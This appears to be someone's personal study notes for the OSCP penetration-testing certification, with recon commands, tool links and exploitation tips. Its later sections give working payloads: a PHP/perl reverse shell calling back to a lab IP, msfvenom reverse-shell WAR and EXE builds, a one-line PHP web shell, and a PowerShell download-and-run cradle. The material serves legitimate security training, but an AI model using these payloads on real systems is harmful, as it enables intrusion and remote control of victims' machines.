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OSCP Notes

My notes on OSCP

Lab Notes

Setup a good folder/file naming structure to organize your work. I have three main folders:

  • exploits: work-in-progress info
    • host1
    • host2
    • _recon: network-wide scans data
  • network1: contains finished hosts under network1 (moved from exploits directory)
  • network2: contains finished hosts under network2
  • reports

Setup shell aliases for connecting to OVPN & Windows machine Under .bashrc in Kali

cd
lab="openvpn YOUR_OVPN_FILE.ovpn"
win="rdesktop -u username -p password 1.2.3.4"
source .bashrc

Kali-specific Notes

Search exploits

searchsploit wordpress escalation
...snip...
cp /usr/share/exploitdb/exploits/php/webapps/12345.txt ./

Recon

NMAP

nmap -A -T4 --script vulners -oN out.nmap {TARGETS}

Target a specific type of scripts with wildcards (e.g. smb*)

nmap -T4 --script ftp* -p 21 -oN out.nmap {TARGETS}

Add addtional vulnerability scanning capability to NMAP

Vulners

Web

Gobuster Package Description Example

gobuster -k -e -u https://{URL} -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

CODE INJECTION IN MONGODB

Exploiting PHP File Inclusion

Useful Tools / Cheatsheets

Handy tools/cheatsheets for lab

MS17-010 AutoBlue

msfvenom replaced msfpayload in older articles Msfvenom Cheat Sheet

CrackMapExec CrackMapExec - Cheatsheet

dirtyCow - handy Linux privilege escalation vuln firefart/dirtycow

Useful Bookmarks

How-Tos

Windows

Windows Privilege Escalation Fundamentals AutoBlue

Credential

Getting the goods with CrackMapExec: Part 1 Practical Usage of NTLM Hashes

MySQL

GAINING A ROOT SHELL USING MYSQL USER DEFINED FUNCTIONS AND SETUID BINARIES

Oracle

Variations in Exploit methods between Linux and Windows

Metasploit

Deep Dive Into Stageless Meterpreter Payloads [Offensive Msfvenom: From Generating Shellcode to Creating Trojans] (https://medium.com/@PenTest_duck/offensive-msfvenom-from-generating-shellcode-to-creating-trojans-4be10179bb86)

Java

Java-Deserialization-Cheat-Sheet Java RMI

Shell Code

0x7 Exploit Tutorial: Bad Character Analysis

bad_chars = ""
bad_chars += "x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
bad_chars += "x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
bad_chars += "x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
bad_chars += "x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
bad_chars += "x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
bad_chars += "x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
bad_chars += "x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
bad_chars += "x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
bad_chars += "x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
bad_chars += "x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
bad_chars += "xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
bad_chars += "xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
bad_chars += "xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
bad_chars += "xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
bad_chars += "xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
bad_chars += "xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff"

Buffer Overflow Practice

Lots of scripts on github but I would recommend setup XP/Win7 box (and Immunity debugger/Mona) and practice

MiniShare 1.4.1 MiniShare 1.4.1 - Remote Buffer Overflow (1) Software MiniShare 1.4.1

Reverse Shell

PHP calls perl for reverse shell (quotes must be escaped properly - test it locally first!)

<?php
$cmd = "perl -e 'use Socket;\$i=\"10.11.0.90\";\$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'";
shell_exec($cmd);
?>

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST= {IP} LPORT= {PORT} -f war > shell.war

EXE

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.90 LPORT=6666 -f exe -a x86 --platform win -o shell86.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST= {IP} LPORT= {PORT} -f exe -a x64 --platform win -o shell64.exe

Web Shell

PHP

<?php echo shell_exec($_GET["cmd"]); ?>

Post-Exploitation

Windows

Reset/activate account

net user administrator /active:yes password123

WGET Replacement on Windows (echo/append each line to a script. E.g. wget.ps1)

$storageDir=$pwd
$webclient=New-Object System.Net.WebClient
$url="http://{IP}/shell64.exe"
$file="shell64.exe"
$webclient.DownloadFile($url,$file)

c:\Users\Administrator\Desktop>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Exam related links

A Script Kiddie’s guide to Passing OSCP on your first attempt

Pentest Book Upgrade from LFI to RCE via PHP Sessions